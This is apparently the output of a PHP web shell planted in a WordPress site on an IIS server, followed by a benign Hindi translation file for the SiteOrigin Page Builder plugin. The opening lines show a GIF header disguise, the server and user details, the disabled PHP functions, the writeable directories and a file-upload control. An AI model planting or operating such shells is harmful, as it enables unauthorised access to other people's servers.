GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-hi_IN.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: hi\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#: inc/admin-actions.php:80
msgid "No description"
msgstr "कोई वर्णन नहीं"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "आपकी थीम के कोई भी पूर्वनिर्मित लेआउट नहीं हैं।"

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "हालाँकि आप अभी भी मौजूदा पेजों को क्लोन कर सकते हैं।"

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "क्लोन"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "पेज बिल्डर सामग्री के साथ क्लोन के लिए वहां कोई %s नहीं हैं।"

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "पंक्ति क्लास"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "एक सीएसएस क्लास"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "सेल क्लास"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "इस पंक्ति के सभी सेल के लिए क्लास जोड़ी गई।"

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "सीएसएस स्टाइल"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "सीएसएस स्टाइल, प्रति पंक्ति एक के रूप में दिया गया।"

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "बॉटम मार्जिन"

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "पंक्ति के नीचे रिक्त स्थान।"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "गटर"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "कॉलमों के बीच रिक्त स्थान की मात्रा।"

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "पैडिंग"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "पूरी पंक्ति के चारों ओर पैडिंग।"

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "पंक्ति लेआउट"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "स्टैंडर्ड"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "पूर्ण चौड़ाई"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "पूर्ण चौड़ाई स्ट्रेच की हुई"

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "बैकग्राउंड कलर"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "पंक्ति का बैकग्राउंड कलर।"

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "बैकग्राउंड तस्वीर"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "पंक्ति की बैकग्राउंड तस्वीर।"

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "बैकग्राउंड तस्वीर डिस्प्ले"

#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "टाइल की हुई तस्वीर"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "कवर"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "केंद्र में, मूल आकार के साथ"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "बैकग्राउंड तस्वीर कैसे दिखाई देती है।"

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "बॉर्डर कलर"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "पंक्ति का बॉर्डर कलर।"

#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "विजेट क्लास"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "पूरी विजेट के चारों ओर पैडिंग।"

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "विजेट का बैकग्राउंड कलर।"

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "विजेट की बैकग्राउंड तस्वीर।"

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "विजेट का बॉर्डर कलर।"

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "फॉण्ट कलर"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "इस विजेट के अंदर टेक्स्ट का कलर।"

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "पेज बिल्डर प्लगइन इंस्टाल करें"

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "%s  इंस्टाल कर रहा है"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "पेज बिल्डर सामग्री"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "पंक्ति स्टाइल"

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "विजेट स्टाइल"

#: inc/styles.php:42
msgid "Attributes"
msgstr "एट्रिब्यूट्स"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "लेआउट"

#: inc/styles.php:50
msgid "Design"
msgstr "डिजाईन"

#: inc/styles.php:60
msgid "Theme"
msgstr "थीम"

#: inc/styles.php:179
msgid "Select Image"
msgstr "तस्वीर चुनें"

#: inc/styles.php:183
msgid "Remove"
msgstr "हटाएँ"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "सक्षम"

#. Do you need Company, brand names to be translated/transliterated or let them be in English?
#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "SiteOrigin बटन"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "एक सरल बटन"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "SiteOrigin विजेट बंडल"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "SiteOrigin तस्वीर"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "अपनी मीडिया लाइब्रेरी से तस्वीरें चुनें।"

#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "SiteOrigin स्लाइडर"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "एक बेसिक स्लाइडर विजेट।"

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "SiteOrigin सुविधाएँ"

#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "साइट सुविधाओं को आइकॉन के संग्रह की तरह दिखाएँ।"

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "SiteOrigin पोस्ट कैरौसेल"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "अपनी पोस्टों को कैरौसेल की तरह दिखाएँ।"

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "विजुअल एडिटर"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "आरबिटरेरी टेक्स्ट या विजुअल एडिटर के साथ एचटीएमएल"

#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "ब्लैक स्टूडियो टाइनीएमसीई"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "विजेट बंडल"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "पेज बिल्डर विजेट्स"

#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "वर्डप्रेस विजेट्स"

#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "वूकॉमर्स"

#: inc/widgets.php:169
msgid "Jetpack"
msgstr "जेटपैक"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "बीबीप्रेस"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "अनुशंसित विजेट्स"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "SiteOrigin पेज बिल्डर"

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "पेज बिल्डर"

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "पेज बिल्डर सेटिंग्स"

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "जनरल"

#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "पोस्ट की टाइप"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "पोस्ट की टाइप जिस में पेज बिल्डर को प्रयोग करना है।"

#: settings/settings.php:200
msgid "Widgets"
msgstr "विजेट्स"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "विजेट शीर्षक एचटीएमएल"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "विजेट शीर्षक के लिए उपयोग की गई एचटीएमएल। {{title}} को विजेट शीर्षक से बदल दिया जाता है।"

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr "लिगेसी बंडल विजेट्स"

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr "पेज बिल्डर 1 से लिगेसी विजेट्स लोड करें।"

#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "पेज बिल्डर विजेट डायलॉग में विजेट्स अनुशंसा दिखाएँ"

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "रिस्पोंसिव लेआउट"

#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "मोबाइल उपकरणों में विजेट्स, पंक्ति और कॉलम संक्षिप्त करें।"

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "मोबाइल चौड़ाई"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "उपकरण चौड़ाई, पिक्सेल में, मोबाइल व्यू संक्षिप्त करने के लिए।"

#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "पंक्ति बॉटम मार्जिन"

#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "पंक्तियों के नीचे डिफ़ॉल्ट मार्जिन।"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "पंक्ति गटर"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "प्रत्येक पंक्ति में कॉलम के बीच डिफ़ॉल्ट रिक्त स्थान।"

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "पूर्ण चौड़ाई कंटेनर"

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "पूर्ण चौड़ाई लेआउट के लिए उपयोग किया गया कंटेनर।"

#: settings/settings.php:269
msgid "Content"
msgstr "सामग्री"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "सामग्री कॉपी करें"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "पेज बिल्डर की सामग्री से पोस्ट की सामग्री में कॉपी करें।"

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "सेटिंग्स खोजें"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "सेटिंग्स सहेजी गई"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "सेटिंग्स सहेजें"

#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "कस्टम होम पेज बिल्डर"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "होम पेज"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "सभी विजेट्स"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "गुम विजेट"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "पेज बिल्डर इस विजेट के बारे में नहीं जानता।"

#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "%d सेकंड"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "%d मिनट"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "%d घंटे"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "%d सेकंड"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "%d मिनट"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "%d घंटा"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "%s पहले"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "अभी"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "वर्तमान"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "मूल"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "संस्करण रिस्टोर किया गया"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "विजेट मिटाया गया"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "विजेट जोड़ा गया"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "विजेट सम्पादित"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "विजेट डुप्लीकेट किया"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "विजेट ले जाया गया"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "पंक्ति मिटाई गई"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "पंक्ति जोड़ी गई"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "पंक्ति संपादित"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "पंक्ति ले जाई गई"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "पंक्ति डुप्लीकेट की गई"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "सेल रिसाइज़"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "पूर्वनिर्मित लेआउट लोड किया गया"

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "आप अपनी वर्तमान सामग्री के उपर लिखने के लिए सुनिश्चित हैं? इसे बिल्डर इतिहास में पूर्ववत किया जा सकता है।"

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "पूर्वनिर्मित लेआउट को लोड कर रहा है"

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "आप इस एडीटर की वर्तमान सामग्री को पेज बिल्डर में कॉपी करना चाहेंगे?"

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "आप अपने पेज बिल्डर की सामग्री को हटा कर स्टैंडर्ड विजुअल एडिटर का उपयोग करने के लिए वापस जाना चाहेंगे?"

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr "लेआउट बिल्डर विजेट"

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "आप सुनिश्चित हैं?"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "पेज बिल्डर लेआउट"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "फाइल को अपलोड या इम्पोर्ट करने में त्रुटि।"

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "शीर्षक रहित विजेट"

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "होम पेज एडिट करें"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "विजेट का उपयोग शुरू करने के लिए इसे इंस्टाल करने के बाद इस पेज को सहेजें और रीलोड करें।"

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "समर्थन फोरम"

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "समाचारपत्र"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "शुरू"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "बंद"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "कस्टम होम पेज"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "होम पेज सहेजें"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "इस इंटरफेस के लिए जावास्क्रिप्ट जरूरी है"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "आप साइटऑरिजिन पेज बिल्डर को होम तथा सबपेज बनाने तथा आपकी अपनी विजेट्स भरने के लिए उपयोग कर सकते हैं।"

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "पेज लेआउट रिस्पोंसिव एवं पूरी तरह से अनुकूलन योग्य हैं।"

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "विजेट जोड़ें"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "पंक्ति जोड़ें"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "पूर्वनिर्मित"

#: tpl/js-templates.php:29
msgid "History"
msgstr "इतिहास"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "लाइव एडिटर"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "एडिटर में बदलें"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "पंक्ति एडिट करें"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "डुप्लीकेट पंक्ति"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "पंक्ति डिलीट करें"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "एडिट"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "डुप्लीकेट"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "डिलीट"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "पूरा"

#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "नयी विजेट %s जोड़ें"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "विजेट्स खोजें"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "बंद"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "नयी पंक्ति जोड़ें"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "बाएँ से दाएँ"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "दाएँ से बाएँ"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "सेट करें"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "डालें"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "सहेजें"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "पूर्वनिर्मित लेआउट्स"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "खोजें"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "थीम निर्धारित"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "इम्पोर्ट/एक्सपोर्ट"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "क्लोन: %s"

#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "इम्पोर्ट फाइल यहाँ ड्राप करें"

#: tpl/js-templates.php:383
msgid "Or"
msgstr "या"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "इम्पोर्ट फाइल चुनें"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "लेआउट डाउनलोड करें"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "पेज बिल्डर बदलाव इतिहास"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "संस्करण रिस्टोर करें"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "लाइव एडिटर बंद करें"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "पेज बिल्डर से सामग्री को स्टैंडर्ड सामग्री एडिटर में कॉपी करें।"

#: tpl/options.php:32
msgid "Animations"
msgstr "एनीमेशन"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "बेहतर प्रदर्शन के लिए एनीमेशन अक्षम करें।"

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "बंडल की गई विजेट्स"

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "बंडल की गई विजेट्स शामिल करें।"

#: tpl/options.php:48
msgid "Display"
msgstr "डिस्प्ले"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "मोबाइल उपकरणों के लिए लेआउट को संकुचित होना चाहिए।"

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "सेल साइड मार्जिन"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "इनलाइन सीएसएस"

#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "लेआउट बिल्डर"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "बिल्डर खोलें"

#: widgets/basic.php:82
msgid "Post Content"
msgstr "सामग्री पोस्ट करें"

#. Displays some form of post content "form" the current post. [form=from]
#: widgets/basic.php:84
#, fuzzy
msgid "Displays content from the current post."
msgstr "वर्तमान पोस्ट में से सामग्री को प्रदर्शित करता है।"

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "कोई नहीं"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "शीर्षक"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "प्रदर्शित तस्वीर"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "सामग्री दिखाएँ"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "पोस्ट लूप"

#: widgets/basic.php:159
msgid "Displays a post loop."
msgstr "एक पोस्ट लूप प्रदर्शित करता है।"

#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "आपकी थीम में कोई भी पोस्ट लूप नहीं हैं।"

#: widgets/basic.php:359
msgid "Template"
msgstr "टेम्पलेट"

#: widgets/basic.php:375
msgid "More Link "
msgstr "ज्यादा लिंक"

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "अगर टेम्पलेट इसे समर्थन दे, पोस्ट काटें और ज्यादा लिंक दिखाएँ।"

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "पोस्ट प्रकार"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "प्रति पेज पोस्टें"

#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "द्वारा क्रमित"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "पोस्ट आईडी"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "लेखक"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "नाम"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "तिथि"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "संशोधित"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "पैरेंट"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "रैंडम"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "टिप्पणी संख्या"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "मेनू क्रम"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "पोस्ट इन क्रम"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "क्रम"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "अवरोही"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "आरोही"

#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "स्टिकी पोस्टें"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "डिफ़ॉल्ट"

#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "स्टिकी नकारें"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "स्टिकी निकालें"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "केवल स्टिकी"

#: widgets/basic.php:462
msgid "Additional "
msgstr "अतिरिक्त"

#: widgets/widgets.php:204
msgid "Style"
msgstr "स्टाइल"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "%s स्टाइल"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "अतिरिक्त तर्क"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "गैलरी (पीबी)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "एक गैलरी दिखाता है।"

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "गैलरी तस्वीरें"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "गैलरी एडिट करें"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "कॉमा से अलग की गई अटैचमेंट आईडी। सभी मौजूदा पेज की अटैचमेंट के लिए डिफ़ॉल्ट।"

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "छवि आकार"

#: widgets/widgets.php:739
msgid "Large"
msgstr "बड़ा"

#: widgets/widgets.php:740
msgid "Medium"
msgstr "मध्यम"

#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "थंबनेल"

#: widgets/widgets.php:742
msgid "Full"
msgstr "पूरा"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "गैलरी प्रकार"

#: widgets/widgets.php:755
msgid "Columns"
msgstr "कॉलम"

#: widgets/widgets.php:760
msgid "Link To"
msgstr "से लिंक"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "अटैचमेंट पेज"

#: widgets/widgets.php:763
msgid "File"
msgstr "फाइल"

#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "छवि (पीबी)"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "एक सरल छवि दिखाता है।"

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "छवि यूआरएल"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "गंतव्य यूआरएल"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "एम्बेड की गई वीडियो (पीबी)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "एक वीडियो एम्बेड करता है।"

#: widgets/widgets.php:874
msgid "Video"
msgstr "वीडियो"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "स्वतः होस्ट किये वीडियो (पीबी)"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "स्वतः होस्ट किये वीडियो प्लेयर।"

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "वीडियो यूआरएल"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "पोस्टर यूआरएल"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "एक छवि जो वीडियो चलना शुरू होने से पहले दिखती है।"

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "वीडियो स्वतः चलाएँ"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "एनीमेशन छवि (पीबी)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "एक छवि जो स्क्रीन पर प्रवेश के समय एनिमेट होती है।"

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "एनीमेशन"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "फेड इन"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "उपर स्लाइड"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "नीचे स्लाइड"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
